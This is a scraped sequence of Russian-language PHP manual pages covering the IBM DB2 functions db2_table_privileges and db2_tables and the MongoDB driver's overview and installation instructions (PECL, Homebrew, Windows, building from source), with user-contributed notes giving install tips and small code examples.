connection

Допустимое соединение с базой данных IBM DB2, Cloudscape или Apache Derby.

qualifier

Квалификатор для баз данных DB2, работающих на серверах OS/390 или z/OS. Для других баз данных передайте null или пустую строку.

schema

Схема, содержащая таблицы. Параметр принимает шаблон поиска, содержащий _ и % в качестве подстановочных знаков.

table_name

Название таблицы. Параметр принимает шаблон поиска, содержащий _ и % в качестве подстановочных знаков.

Возвращаемые значения

Возвращает ресурс выражения с набором результатов, содержащим строки, описывающие права доступа для таблиц, которые соответствуют указанным параметрам. Строки состоят из следующих столбцов:

Название столбца | Описание
TABLE_CAT | Каталог, содержащий таблицу или null, если в этой таблице нет каталогов.
TABLE_SCHEM | Имя схемы, содержащей таблицу.
TABLE_NAME | Название таблицы.
GRANTOR | Идентификатор авторизации пользователя, предоставившего права доступа.
GRANTEE | Идентификатор авторизации пользователя, которому были предоставлены права доступа.
PRIVILEGE | Предоставляемые права доступа. Может быть один из вариантов: ALTER, CONTROL, DELETE, INDEX, INSERT, REFERENCES, SELECT или UPDATE.
IS_GRANTABLE | Строковое значение «YES» или «NO», указывающее, может ли получатель предоставлять права доступа другим пользователям.

Смотрите также

  • db2_column_privileges() - Возвращает результирующий набор, перечисляющий столбцы и связанные с ним привилегии для таблицы
  • db2_columns() - Возвращает результирующий набор, перечисляющий столбцы и связанные с ними метаданные для таблицы
  • db2_foreign_keys() - Возвращает набор результатов, в котором перечислены внешние ключи таблицы
  • db2_primary_keys() - Возвращает набор результатов, содержащий первичные ключи таблицы
  • db2_procedure_columns() - Возвращает набор результатов со списком параметров хранимой процедуры
  • db2_procedures() - Возвращает набор результатов, в котором перечислены хранимые процедуры, зарегистрированные в базе данных
  • db2_special_columns() - Возвращает набор результатов, в котором перечислены столбцы с уникальным идентификатором строки таблицы
  • db2_statistics() - Возвращает набор результатов, содержащий индекс и статистику таблицы
  • db2_tables() - Возвращает набор результатов, в котором перечислены таблицы и связанные метаданные в базе данных

User Contributed Notes

andryzulfikar at gmail dot com 28-Jun-2012 07:52
<?php
// using db2_table_privileges example:

$result = db2_table_privileges($conn,NULL,'DB2ADMIN');

while($obj = db2_fetch_object($result)){
       print_r($obj)
}

/* output

stdClass Object
(
    [TABLE_CAT] =>
    [TABLE_SCHEM] => DB2ADMIN
    [TABLE_NAME] => SALARY
    [GRANTOR] => SYSIBM
    [GRANTEE] => DB2ADMIN
    [PRIVILEGE] => ALTER
    [IS_GRANTABLE] => YES
)
stdClass Object
(
    [TABLE_CAT] =>
    [TABLE_SCHEM] => DB2ADMIN
    [TABLE_NAME] => SALARY
    [GRANTOR] => SYSIBM
    [GRANTEE] => DB2ADMIN
    [PRIVILEGE] => CONTROL
    [IS_GRANTABLE] => NO
)
stdClass Object
(
    [TABLE_CAT] =>
    [TABLE_SCHEM] => DB2ADMIN
    [TABLE_NAME] => SALARY
    [GRANTOR] => SYSIBM
    [GRANTEE] => DB2ADMIN
    [PRIVILEGE] => DELETE
    [IS_GRANTABLE] => YES
)
*/

?>


Возвращает набор результатов, в котором перечислены таблицы и связанные метаданные в базе данных

  • « db2_table_privileges
  • MongoDB »
  • PHP Manual
  • Функции IBM DB2
  • Возвращает набор результатов, в котором перечислены таблицы и связанные метаданные в базе данных

db2_tables

(PECL ibm_db2 >= 1.0.0)

db2_tables — Возвращает набор результатов, в котором перечислены таблицы и связанные метаданные в базе данных

Описание

db2_tables(
resource $connection,
?string $qualifier = null,
?string $schema = null,
?string $table_name = null,
?string $table_type = null
): resource

Возвращает набор результатов, в котором перечислены таблицы и связанные метаданные в базе данных.

Список параметров

connection

Допустимое соединение с базой данных IBM DB2, Cloudscape или Apache Derby.

qualifier

Квалификатор для баз данных DB2, работающих на серверах OS/390 или z/OS. Для других баз данных передайте null или пустую строку.

schema

Схема, содержащая таблицы. Параметр принимает шаблон поиска, содержащий _ и % в качестве подстановочных знаков.

table_name

Название таблицы. Параметр принимает шаблон поиска, содержащий _ и % в качестве подстановочных знаков.

table_type

Список идентификаторов типов таблиц, разделённых запятыми. Чтобы соответствовать всем типам таблиц, передайте null или пустую строку. К допустимым идентификаторам типа таблицы относятся: ALIAS, HIERARCHY TABLE, INOPERATIVE VIEW, NICKNAME, MATERIALIZED QUERY TABLE, SYSTEM TABLE, TABLE, TYPED TABLE, TYPED VIEW, и VIEW.

Возвращаемые значения

Возвращает ресурс выражения с набором результатов, содержащим строки, описывающие таблицы, соответствующие указанным параметрам. Строки состоят из следующих столбцов:

Название столбца | Описание
TABLE_CAT | Каталог, содержащий таблицу или null, если в этой таблице нет каталогов.
TABLE_SCHEM | Имя схемы, содержащей таблицу.
TABLE_NAME | Название таблицы.
TABLE_TYPE | Идентификатор типа таблицы.
REMARKS | Описание таблицы.

Смотрите также

  • db2_column_privileges() - Возвращает результирующий набор, перечисляющий столбцы и связанные с ним привилегии для таблицы
  • db2_columns() - Возвращает результирующий набор, перечисляющий столбцы и связанные с ними метаданные для таблицы
  • db2_foreign_keys() - Возвращает набор результатов, в котором перечислены внешние ключи таблицы
  • db2_primary_keys() - Возвращает набор результатов, содержащий первичные ключи таблицы
  • db2_procedure_columns() - Возвращает набор результатов со списком параметров хранимой процедуры
  • db2_procedures() - Возвращает набор результатов, в котором перечислены хранимые процедуры, зарегистрированные в базе данных
  • db2_special_columns() - Возвращает набор результатов, в котором перечислены столбцы с уникальным идентификатором строки таблицы
  • db2_statistics() - Возвращает набор результатов, содержащий индекс и статистику таблицы
  • db2_table_privileges() - Возвращает набор результатов, в котором перечислены таблицы и связанные с ними права доступа к базе данных

User Contributed Notes

There are no user contributed notes for this page.


Драйвер MongoDB

Этот модуль разработан на основе библиотек » libmongoc и » libbson. Он предоставляет минимальное API для ключевого функционала драйвера: команды, запросы, записи, управление соединением и сериализация BSON.

Самодельные библиотеки PHP, требующие этот модуль, могут предоставлять высокоуровневые API, такие как: сборщики запросов, методы-помощники для индивидуальных команд и GridFS. Разработчики приложений должны рассмотреть вопрос об использовании этого модуля совместно с » библиотекой MongoDB PHP, которая реализует такие же высокоуровневые API драйвера MongoDB, как и для других языков. Подобное разделение задач позволяет этому драйверу сконцентрироваться на главных задачах, стоящих перед ним - повышение производительности.

  • Установка и настройка
    • Требования
    • Установка
    • Настройка во время выполнения
    • Предопределённые константы
  • Обучающие материалы
    • Использование библиотеки PHP для MongoDB (PHPLIB)
    • Мониторинг производительности приложения (Application Performance Monitoring или APM)
  • Архитектура и внутреннее устройство драйвера — Обзор архитектуры драйвера и её особенностей
    • Архитектура — Обзор архитектуры
    • Соединения — Обработка соединения и постоянство
    • Постоянные данные — Сериализация и десериализация переменных PHP в MongoDB
  • Безопасность
    • Атака с помощью инъекций в запросе
    • Атака с помощью инъекций в скриптах
  • MongoDB\Driver — Классы драйвера MongoDB
    • MongoDB\Driver\Manager — Класс MongoDB\Driver\Manager
    • MongoDB\Driver\Command — Класс The MongoDB\Driver\Command
    • MongoDB\Driver\Query — Класс MongoDB\Driver\Query
    • MongoDB\Driver\BulkWrite — Класс MongoDB\Driver\BulkWrite
    • MongoDB\Driver\Session — Класс MongoDB\Driver\Session
    • MongoDB\Driver\ClientEncryption — Класс MongoDB\Driver\ClientEncryption
    • MongoDB\Driver\ServerApi — Класс MongoDB\Driver\ServerApi
    • MongoDB\Driver\WriteConcern — Класс MongoDB\Driver\WriteConcern
    • MongoDB\Driver\ReadPreference — Класс MongoDB\Driver\ReadPreference
    • MongoDB\Driver\ReadConcern — Класс MongoDB\Driver\ReadConcern
    • MongoDB\Driver\Cursor — Класс MongoDB\Driver\Cursor
    • MongoDB\Driver\CursorId — Класс MongoDB\Driver\CursorId
    • MongoDB\Driver\CursorInterface — Интерфейс MongoDB\Driver\CursorInterface
    • MongoDB\Driver\Server — Класс MongoDB\Driver\Server
    • MongoDB\Driver\ServerDescription — Класс MongoDB\Driver\ServerDescription
    • MongoDB\Driver\TopologyDescription — Класс MongoDB\Driver\TopologyDescription
    • MongoDB\Driver\WriteConcernError — Класс The MongoDB\Driver\WriteConcernError
    • MongoDB\Driver\WriteError — Класс MongoDB\Driver\WriteError
    • MongoDB\Driver\WriteResult — Класс MongoDB\Driver\WriteResult
  • MongoDB\BSON — Классы типов BSON и функции сериализации
    • Функции
    • MongoDB\BSON\Document — Класс MongoDB\BSON\Document
    • MongoDB\BSON\PackedArray — Класс MongoDB\BSON\PackedArray
    • MongoDB\BSON\Iterator — Класс MongoDB\BSON\Iterator
    • MongoDB\BSON\Binary — Класс MongoDB\BSON\Binary
    • MongoDB\BSON\Decimal128 — Класс MongoDB\BSON\Decimal128
    • MongoDB\BSON\Javascript — Класс MongoDB\BSON\Javascript
    • MongoDB\BSON\MaxKey — Класс MongoDB\BSON\MaxKey
    • MongoDB\BSON\MinKey — Класс MongoDB\BSON\MinKey
    • MongoDB\BSON\ObjectId — Класс MongoDB\BSON\ObjectId
    • MongoDB\BSON\Regex — Класс MongoDB\BSON\Regex
    • MongoDB\BSON\Timestamp — Класс MongoDB\BSON\Timestamp
    • MongoDB\BSON\UTCDateTime — Класс MongoDB\BSON\UTCDateTime
    • MongoDB\BSON\Type — Интерфейс MongoDB\BSON\Type
    • MongoDB\BSON\Persistable — Интерфейс MongoDB\BSON\Persistable
    • MongoDB\BSON\Serializable — Интерфейс MongoDB\BSON\Serializable
    • MongoDB\BSON\Unserializable — Интерфейс MongoDB\BSON\Unserializable
    • MongoDB\BSON\BinaryInterface — Интерфейс MongoDB\BSON\BinaryInterface
    • MongoDB\BSON\Decimal128Interface — Интерфейс MongoDB\BSON\Decimal128Interface
    • MongoDB\BSON\JavascriptInterface — Интерфейс MongoDB\BSON\JavascriptInterface
    • MongoDB\BSON\MaxKeyInterface — Интерфейс MongoDB\BSON\MaxKeyInterface
    • MongoDB\BSON\MinKeyInterface — Интерфейс MongoDB\BSON\MinKeyInterface
    • MongoDB\BSON\ObjectIdInterface — Интерфейс MongoDB\BSON\ObjectIdInterface
    • MongoDB\BSON\RegexInterface — Интерфейс MongoDB\BSON\RegexInterface
    • MongoDB\BSON\TimestampInterface — Интерфейс MongoDB\BSON\TimestampInterface
    • MongoDB\BSON\UTCDateTimeInterface — Интерфейс MongoDB\BSON\UTCDateTimeInterface
    • MongoDB\BSON\DBPointer — Класс MongoDB\BSON\DBPointer (устаревший)
    • MongoDB\BSON\Int64 — Класс MongoDB\BSON\Int64
    • MongoDB\BSON\Symbol — Класс MongoDB\BSON\Symbol (устаревший)
    • MongoDB\BSON\Undefined — Класс MongoDB\BSON\Undefined (устарело)
  • MongoDB\Driver\Monitoring — Классы мониторинга и функции подписчика
    • Функции
    • MongoDB\Driver\Monitoring\CommandFailedEvent — Класс MongoDB\Driver\Monitoring\CommandFailedEvent
    • MongoDB\Driver\Monitoring\CommandStartedEvent — Класс MongoDB\Driver\Monitoring\CommandStartedEvent
    • MongoDB\Driver\Monitoring\CommandSucceededEvent — Класс MongoDB\Driver\Monitoring\CommandSucceededEvent
    • MongoDB\Driver\Monitoring\ServerChangedEvent — Класс MongoDB\Driver\Monitoring\ServerChangedEvent
    • MongoDB\Driver\Monitoring\ServerClosedEvent — Класс MongoDB\Driver\Monitoring\ServerClosedEvent
    • MongoDB\Driver\Monitoring\ServerOpeningEvent — Класс MongoDB\Driver\Monitoring\ServerOpeningEvent
    • MongoDB\Driver\Monitoring\ServerHeartbeatFailedEvent — Класс MongoDB\Driver\Monitoring\ServerHeartbeatFailedEvent
    • MongoDB\Driver\Monitoring\ServerHeartbeatStartedEvent — Класс MongoDB\Driver\Monitoring\ServerHeartbeatStartedEvent
    • MongoDB\Driver\Monitoring\ServerHeartbeatSucceededEvent — Класс MongoDB\Driver\Monitoring\ServerHeartbeatSucceededEvent
    • MongoDB\Driver\Monitoring\TopologyChangedEvent — Класс MongoDB\Driver\Monitoring\TopologyChangedEvent
    • MongoDB\Driver\Monitoring\TopologyClosedEvent — Класс MongoDB\Driver\Monitoring\TopologyClosedEvent
    • MongoDB\Driver\Monitoring\TopologyOpeningEvent — Класс MongoDB\Driver\Monitoring\TopologyOpeningEvent
    • MongoDB\Driver\Monitoring\CommandSubscriber — Интерфейс The MongoDB\Driver\Monitoring\CommandSubscriber
    • MongoDB\Driver\Monitoring\LogSubscriber — The MongoDB\Driver\Monitoring\LogSubscriber interface
    • MongoDB\Driver\Monitoring\SDAMSubscriber — Интерфейс MongoDB\Driver\Monitoring\SDAMSubscriber
    • MongoDB\Driver\Monitoring\Subscriber — Интерфейс MongoDB\Driver\Monitoring\Subscriber
  • MongoDB\Driver\Exception — Классы исключений
    • MongoDB\Driver\Exception\AuthenticationException — Класс MongoDB\Driver\Exception\AuthenticationException
    • MongoDB\Driver\Exception\BulkWriteException — Класс MongoDB\Driver\Exception\BulkWriteException
    • MongoDB\Driver\Exception\CommandException — Класс MongoDB\Driver\Exception\CommandException
    • MongoDB\Driver\Exception\ConnectionException — Класс MongoDB\Driver\Exception\ConnectionException
    • MongoDB\Driver\Exception\ConnectionTimeoutException — Класс MongoDB\Driver\Exception\ConnectionTimeoutException
    • MongoDB\Driver\Exception\EncryptionException — Класс MongoDB\Driver\Exception\EncryptionException
    • MongoDB\Driver\Exception\Exception — Интерфейс MongoDB\Driver\Exception\Exception
    • MongoDB\Driver\Exception\ExecutionTimeoutException — Класс MongoDB\Driver\Exception\ExecutionTimeoutException
    • MongoDB\Driver\Exception\InvalidArgumentException — Класс MongoDB\Driver\Exception\InvalidArgumentException
    • MongoDB\Driver\Exception\LogicException — Класс MongoDB\Driver\Exception\LogicException
    • MongoDB\Driver\Exception\RuntimeException — Класс MongoDB\Driver\Exception\RuntimeException
    • MongoDB\Driver\Exception\ServerException — Класс MongoDB\Driver\Exception\ServerException
    • MongoDB\Driver\Exception\SSLConnectionException — Класс MongoDB\Driver\Exception\SSLConnectionException (устаревший)
    • MongoDB\Driver\Exception\UnexpectedValueException — Класс MongoDB\Driver\Exception\UnexpectedValueException
    • MongoDB\Driver\Exception\WriteException — Класс MongoDB\Driver\Exception\WriteException
    • Class Tree — MongoDB Exception Class Tree

User Contributed Notes

Robert 28-Feb-2023 08:42
Hey guys,
a short example to access a local mongo db server:

<?php

echo "Mongo DB Example<br>";

// run composer requre mongodb/mongdodb in your project folder before
require("vendor/autoload.php");

// start mongod process on your instance first
$client = new MongoDB\Client('mongodb://localhost:27017');

// select a database (will be created automatically if it not exists)
$db = $client->test2;
echo "Database test2 created/selected<br>";

// select a collection (will be created automatically if it not exists)
$coll = $db->selectCollection("mycoll");
echo "Collection mycoll created/selected<br>";

// insert a datatow in the collection
$coll->insertOne(['foo' => 'bar']);

// search for the datarow
echo "Result:<br>";
var_dump($coll->findOne(['foo' => 'bar']));

?>
mike at eastghost dot com 27-Dec-2017 06:10
PHP 'USERLAND' / HIGHER-LEVEL DRIVER IS HERE --  [url]https://github.com/mongodb/mongo-php-driver[/url]

In new driver, these fail:

(A) $count = $collection->find( $criteria )->count();

(B1) $cursor = $collection->find( $criteria );
(B2) $count = $cursor->count();

In new driver, result counting has become its own separate action, to be applied to the collection, not the cursor:

$count = $collection->count( $criteria );
$cursor = $collection->find( $criteria );

From jmikola 6 Jan 2016 ([url]https://github.com/mongodb/mongo-php-driver/issues/195 here[/url]):

"In the new driver, a Cursor object now represents the actual results of an executed command or query, whereas cursors in the legacy driver had a dual-nature (pre- or post-executed). The legacy MongoCursor::count() method actually invoked a count command with the same criteria; however, this meant it was entirely possible for the count command's calculation to differ from the actual query results, since they were not necessarily operating on the same result data.

"The userland library implements a count() method on the collection, which also takes filter criteria, and we'd rather encourage that so users understand that the operations are separate. If we do end up making Cursor countable in the userland library, we would use iterator_count() to provide an exact count on the results; however, this will also require us to cache the results so that users can rewind the cursor and iterate again (this was most recently discussed in PHPLIB-81). While the legacy driver would re-execute the query on a rewind, that's also not an option given the nature of a Cursor in the new driver.

"I realize this may come across as an inconvenience, but I believe the explicit API is a ultimately a step forward from the legacy driver, where many users might have been oblivious to what was actually happening under the hood. Feel free to follow up if you have additional questions.
mike at eastghost dot com 04-Jun-2017 05:11
There is an adapter - so old MongoClient / MongoDB code will run on the new PHP7/Mongo mess

https://github.com/alcaeus/mongo-php-adapter
n dot vandermeij at mycademy dot com 01-Dec-2016 04:02
*** ONLY FOR VERSIONS >= 1.2.0 ***

If you encounter the following error:

"PHP Warning:  PHP Startup: Unable to load dynamic library '/usr/lib64/php/modules/mongodb.so'
 - /usr/lib64/php/modules/mongodb.so: undefined symbol: php_json_serializable_ce in Unknown on line 0"

For a detailed explanation, please visit:

https://derickrethans.nl/undefined-symbol.html

TLDR: You need to load the mongodb.so extension after the json.so
extension

Special thanks to Derick Rethans for pointing this out!


Установка и настройка

  • Требования
  • Установка
    • Установка драйвера PHP MongoDB с помощью PECL
    • Установка драйвера PHP MongoDB на macOS помощью Homebrew
    • Установка драйвера PHP MongoDB под Windows
    • Сборка драйвера PHP MongoDB из исходного кода
  • Настройка во время выполнения
  • Предопределённые константы

User Contributed Notes

There are no user contributed notes for this page.


Требования

Начиная с версии 1.16.0, для работы драйвера требуется PHP 7.2 или выше. Предыдущие версии драйвера обеспечивают совместимость со старыми версиями PHP.

Драйверу нужны библиотеки » libbson и » libmongoc, и по умолчанию он будет использовать их встроенные версии. Также можно использовать системные библиотеки, как описано в документации по сборке из исходного кода.

Драйвер через libmongoc, необязательно зависит от библиотеки TLS (например, OpenSSL) и будет использовать её, если она доступна. Если процессу сборки не удаётся найти библиотеку TLS, пользователи должны проверить, что соответствующий пакет разработки (например, libssl-dev) и » pkg-config установлены. Процесс обнаружения и настройки библиотек TLS более подробно описан в документации по сборке из исходного кода.

» Cyrus SASL - это необязательная зависимость для поддержки аутентификации Kerberos, которая будет использоваться, если она доступна.

Замечание: Из-за потенциальных проблем представления 64-разрядных целых чисел на 32-разрядных платформах, пользователям рекомендуется использовать 64-разрядную среду. При использовании 32-разрядной платформы помните, что любое 64-разрядное целое число, прочитанное из базы данных, будет возвращено как экземпляр MongoDB\BSON\Int64 вместо целочисленного типа PHP.

User Contributed Notes

mfoley at cms-controls dot com 02-Mar-2017 01:22
I ran into this module requiring libsasl.dll available in the Windows Path. I thought that was just for the old driver, but apparently not. I'm running PHP 7.0.7 with Apache 2.4 (VC14), x64 thread-safe. I was working with version 1.2.5 of the MongoDB driver.


Установка

Содержание

  • Установка драйвера PHP MongoDB с помощью PECL
  • Установка драйвера PHP MongoDB на macOS помощью Homebrew
  • Установка драйвера PHP MongoDB под Windows
  • Сборка драйвера PHP MongoDB из исходного кода

User Contributed Notes

There are no user contributed notes for this page.


Установка драйвера PHP MongoDB с помощью PECL

Информация по установке этого модуля PECL может быть найдена в главе руководства Установка PECL модулей. Дополнительная информация, такая как новые версии, скачивание, исходные файлы, информация о разработчике и CHANGELOG, может быть найдена здесь: » https://pecl.php.net/package/mongodb

Пользователи Linux, Unix и macOS могут использовать следующую команду для установки драйвера:

$ sudo pecl install mongodb

На системах с несколькими установленными версиями PHP (например для macOS: установка по умолчанию, Homebrew и » XAMPP) каждая версия PHP будет иметь собственную команду pecl и файл (или файлы) php.ini. Кроме того, каждое окружение PHP (например, CLI, web) может использовать отдельные файлы php.ini.

Начиная с версии драйвера 1.17.0 PECL будет запрашивать разные настройки configure. Установить драйвер с настройками по умолчанию в неинтерактивном сценарии можно с переданной на вход пустой строкой для команды yes, отделённой символом вертикальной черты от команды pecl install:

$ yes '' | sudo pecl install mongodb

Полный список поддерживаемых параметров configure можно найти в файле package.xml, включённом в пакет PECL. Чтобы установить драйвер со специфичными параметрами configure в неинтерактивном сценарии, может быть указан параметр --configureoptions для команды pecl install:

$ sudo pecl install --configureoptions='with-mongodb-system-libs="yes" enable-mongodb-developer-flags="no"' mongodb

По умолчанию установка драйвера через PECL будет использовать встроенные версии модулей: » libbson, » libmongoc, » libmongocrypt и попытается сконфигурировать их автоматически.

Замечание: Если процесс установки не сможет найти библиотеку SSL, убедитесь, что установлены пакеты для разработки (такие как libssl-dev) и пакет » pkg-config. Если это не поможет, то произведите ручную установку.

И наконец, добавьте следующую строку в файл php.ini для каждого окружения, в котором будет использован драйвер:

extension=mongodb.so

User Contributed Notes

mohammadhoseinmazalahi at gmail dot com 19-May-2020 10:30
As of Ubuntu 20.04, php-mongodb in the database is outdated and you'll need the PECL method to install latest version of MongoDB.

To do this in Ubuntu, you'll need the php-pear plugin and php-dev:
sudo apt install php-dev php-pear

then you can run:
sudo pecl install mongodb
asologor at gmail dot com 27-Jul-2017 08:48
On Ubuntu you can just do:

  sudo apt-get install php-mongodb

or the same for specific PHP version:

  sudo apt-get install php5.6-mongo

or

  sudo apt-get install php7.0-mongodb
Unmesh 12-Jul-2017 08:28
The following steps worked for me on Centos7

sudo yum install -y openssl-devel
sudo yum install pecl
sudo yum install gcc
sudo pecl install mongodb
maneesh dot singh at hof-university dot com 20-Feb-2017 11:20
Hi,
I am looking into installation of php mongo db driver.
I have checked with phpinfo it shows mongodb module have been loaded but when I use in my code it give error "Fatal error: Uncaught Error: Class 'MongoDB' not found "

i have another module for redis and it works perfectly . Initially I was getting same error but phpinfo was showing module is not loaded .

I guess there is some problem with driver. I have tried all the documents and website links which mention to include extenstion=mongodb.so which i have already done.

I am using open suse 42.2 leap with apache server.

Could you please investigate this issue.
If you need more info please let me know.

Thanks
Maneeshg
ovidius at email dot it 13-Feb-2017 11:11
after installed and added extension=mongodb to php.ini, when i run php -v i get this error:

bus error php -v

what could it be? the build process completed successfully.
rafael_xuvisco at yahoo dot com dot br 08-Nov-2016 01:16
Ubuntu 16.04

sudo apt-get install libcurl4-openssl-dev pkg-config libssl-dev libsslcommon2-dev

sudo pecl install mongodb

add extension=mongodb.so in fpm and cli:

sudo vim /etc/php/7.0/fpm/conf.d/30-mongodb.ini

sudo vim /etc/php/7.0/cli/conf.d/30-mongodb.ini

Restart service:

sudo systemctl restart php7.0-fpm

sudo systemctl reload nginx
Anonymous 24-Sep-2016 06:17
I got an error "fatal error: pcre.h: No such file or directory" and had to also had to install another dependency

sudo apt-get install libpcre3-dev
contact ? automatix : info 30-Jun-2016 11:28
An additional requirement might be pkg-config (on Ubuntu 14.04).

$ pecl install mongodb
...
configure: error: Cannot find OpenSSL's libraries
ERROR: `/tmp/pear/temp/mongodb/configure --with-php-config=/usr/bin/php-config' failed

But:

$ apt-get install pkg-config
...
Setting up pkg-config (0.26-1ubuntu4) ...
$ pecl install mongodb
...
Build process completed successfully
Installing '/usr/lib/php/20151012/mongodb.so'
install ok: channel://pecl.php.net/mongodb-1.1.7
configuration option "php_ini" is not set to php.ini location
You should add "extension=mongodb.so" to php.ini
Tim Greiser 18-Jun-2016 10:57
[Editor's note: fixed typo]

There are some additional requirements you need to build the pecl package.

sudo apt-get install libcurl4-openssl-dev pkg-config libssl-dev libsslcommon2-dev


Установка драйвера PHP MongoDB на macOS помощью Homebrew

Начиная с » Homebrew 1.5.0 пакет » Homebrew/php tap был объявлен устаревшим, а формулы для отдельных модулей PHP были удалены. Пользователям macOS рекомендовано устанавливать драйвер через формулу » php и запускать предоставленную PHP, установленным через менеджер пакетов Homebrew, команду pecl, как рассказано в стандартной инструкции по установке из PECL.

User Contributed Notes

Luiz Eduardo 18-Dec-2018 05:29
How to install on macOS Mojave

Start with:

sudo pecl install mongodb

To check if mongodb package is installed, look for "mongodb" when you run:

pecl list

To get your installed mongodb.so path, run:

pecl list-files mongodb | grep mongodb.so

then remove (or comment out) on your php.ini file:

extension="mongodb.so"

(I could not found a line with extension="php_mongodb.so")

now insert a line with:

extension="{{the path to your installed mongodb.so}}"

Run this command to get your ext-*.ini directory path:

php -i | grep Scan

Create your ext-mongodb.ini with:

touch {{your conf.d path}}/ext-mongodb.ini

like:
touch /usr/local/etc/php/7.1/conf.d/ext-mongodb.ini

Restart your apache to read the new configuration

Sanity check with:

php -i | grep mongodb

Your're ready to go.
lcalrissian at yahoo dot com 08-Apr-2018 09:21
The mongodb install has been removed from Homebrew. To install the mongodb extension you need to use pecl.

sudo pecl install mongodb

You may need to follow some additional configuration. Follow the inline instructions as they appear. Once the install is finished it will add two lines at the bottom of your php.ini file. Instead, remove these lines and add the and add a separate file to your conf.d directory in the same directory as you php.ini file.

In php.ini remove

extension="mongodb.so" // remove
extension="php_mongodb.so // remove

Then run:

$ touch /usr/local/etc/php/5.6/conf.d/ext-mongodb.ini

Finally add this line to the new file:

// example
extension="/usr/local/Cellar/php@5.6/5.6.35/pecl/20131226/mongodb.so"
okanck at gmail dot com 05-Apr-2018 07:57
All formulas in homebrew/php has been deleted or moved to homebrew/core.

To avoid installation problem in homebrew, you can use the command below:

brew tap kyslik/php
brew install phpXX-mongodb
tfe 04-Apr-2018 05:42
Then I try install

brew install php72-mongodb

I get error:

Error: No available formula with the name "php72-mongodb"
==> Searching for a previously deleted formula (in the last month)...
Error: No previously deleted formula found.
==> Searching for similarly named formulae...
==> Searching local taps...
Error: No similarly named formulae found.
==> Searching taps...
==> Searching taps on GitHub...
cristian dot carreno dot g at gmail dot com 23-Sep-2017 02:24
For OS Sierra 10.12.6

PHP 5.6

brew tap homebrew/php
brew install php56-mongodb
extension="/usr/local/opt/php56-mongodb/mongodb.so"
simon at programujem dot eu 12-Apr-2017 08:56
The mongodb extension is also available for PHP 7.1, you can install it using similar command:

brew install php71-mongodb
haxpor at gmail dot com 02-Mar-2017 02:29
No only just you install it via brew for correct version of php installed on your machine.

You have to set extension in php.ini too.

In case of macOS and php 5.6 installed.
I have to set

extension="/usr/local/opt/php56-mongo/mongo.so"

The correct path will show mongodb loaded on phpinfo.
amit dot clavax at gmail dot com 24-Nov-2016 06:06
Below command work for me mac sierra os
brew install php55-mongodb
givemeanthony at outlook dot com 03-Sep-2016 09:05
You must first tap the PHP formula repository from terminal like so

    brew tap homebrew/php

in order to install PHP extensions like MongoDB via Homebrew.
After tapping the formula repository, install the MongoDB extension

    brew install phpxx-mongodb

where xx is the version number.
avtrulzz at yahoo dot co dot in 03-Sep-2016 10:07
The correct command for installation is using homebrew is
brew install homebrew/php/phpxx-mongodb

For ex. to install the driver for php5.6 use :
brew install homebrew/php/php55-mongodb


Установка драйвера PHP MongoDB под Windows

Предварительно скомпилированные исполняемые файлы прикрепляются к » выпускам проекта на GitHub. Архивы публикуются для разных комбинаций версии PHP, потоковой безопасности (TS или NTS) и архитектуры (x86 или x64). Определите правильный архив для PHP-окружения и извлеките файла php_mongodb.dll в директорию с модулями (по умолчанию "ext").

Добавьте следующую строку в файл php.ini для каждого окружения, в котором будет использован драйвер:

extension=php_mongo.dll

Неправильный выбор двоичного файла приведёт к возникновению ошибки при попытке загрузить DLL-модуль во время выполнения:

PHP Warning:  PHP Startup: Unable to load dynamic library 'mongodb'

Убедитесь, что скачанная DLL соответствует следующим свойствам среды выполнения PHP:

  • Версия PHP (PHP_VERSION)
  • Потоковая безопасность (PHP_ZTS)
  • Архитектура (PHP_INT_SIZE)

Эти свойства можно увидеть в выводе функции phpinfo(). Если в системе установлено несколько версий PHP, дважды проверьте, что вывод функции phpinfo() соответствует окружению.

Замечание: Дополнительные зависимости DLL для пользователей Windows

Для работы этого модуля системной переменной Windows PATHдолжны быть доступны DLL-файлы. Чтобы узнать как этого достичь, обратитесь к разделу FAQ "Как добавить мою директорию с PHP в переменную Windows PATH". Хотя копирование DLL-файлов из директории PHP в системную папку Windows также решает проблему (потому что системная директория по умолчанию находится в переменной PATH), это не рекомендуется. Этому модулю требуются следующие файлы в переменной PATH: libsasl.dll

User Contributed Notes

luchontandil3 at gmail dot com 26-May-2020 01:23
Try using:

extension=php_mongodb.dll

instead and restarting the xammp server for php
also download the correct .dll for your version of php

you can check your version of php with index.php and inside adding

<?php
phpinfo();
>
Xylon Reyes 12-Aug-2016 02:12
With the newer version of MongoDB, this should be...

extension=php_mongodb.dll

(the filename of the latest stable release at PECL)

Official MongoDB library are available at GitHub as well as its documentation.

Precompiled binaries are also available at GitHub for the legacy and the newer version.


Сборка драйвера PHP MongoDB из исходного кода

Разработчики драйверов и заинтересованные в самых свежих версиях пользователи могут собрать драйвер из исходных кодов: » GitHub. Запустите следующие команды для клонирования и сборки проекта:

$ git clone https://github.com/mongodb/mongo-php-driver.git
$ cd mongo-php-driver
$ git submodule update --init
$ phpize
$ ./configure
$ make all
$ sudo make install

В системах с несколькими установленными версиями PHP (например, macOS: установка по умолчанию, Homebrew, » XAMPP) у каждой версии PHP будет своя команда phpize и файл (или файлы) php.ini. Кроме того, каждое окружение PHP (например, CLI, web) может использовать отдельные файлы php.ini.

По умолчанию драйвер будет использовать встроенные версии модулей » libbson, » libmongoc и » libmongocrypt и попытается настроить их автоматически. Если эти модули уже установлены в системе, драйвер может использовать их, передав параметр --with-mongodb-system-libs=yes команде configure.

Полный список параметров команды configure можно получить, запустив: configure --help.

При использовании встроенных версий модулей libmongoc и libmongocrypt, драйвер также попытается выбрать модуль SSL в соответствии с параметром --with-mongodb-ssl команды configure. Начиная с версии драйвера 1.17.0 по умолчанию будет отдано предпочтение библиотеке OpenSSL. Предыдущие версии драйвера на системах с macOS по умолчанию выбирали Secure Transport, а на всех остальных платформах — OpenSSL.

Замечание:

Если процесс установки не сможет найти библиотеку SSL, убедитесь, что установлены пакеты для разработки (такие как libssl-dev) и пакет » pkg-config.

При использовании Homebrew для macOS, обычна ситуация, когда установлено несколько разных версий OpenSSL. Для использования именно той версии, которая вам нужна, соответствующим образом установите переменную окружения PKG_CONFIG_PATH. Она будет использоваться pkg-config для определения пути поиска . Если не используется pkg-config, то можно использовать configure с ключом --with-openssl-dir=DIR (только для OpenSSL).

На последнем, финальном шаге, make install выведет путь, по которому была собран модуль mongodb.so. Например так:

Installing shared extensions:     /usr/lib/php/extensions/debug-non-zts-20220829/

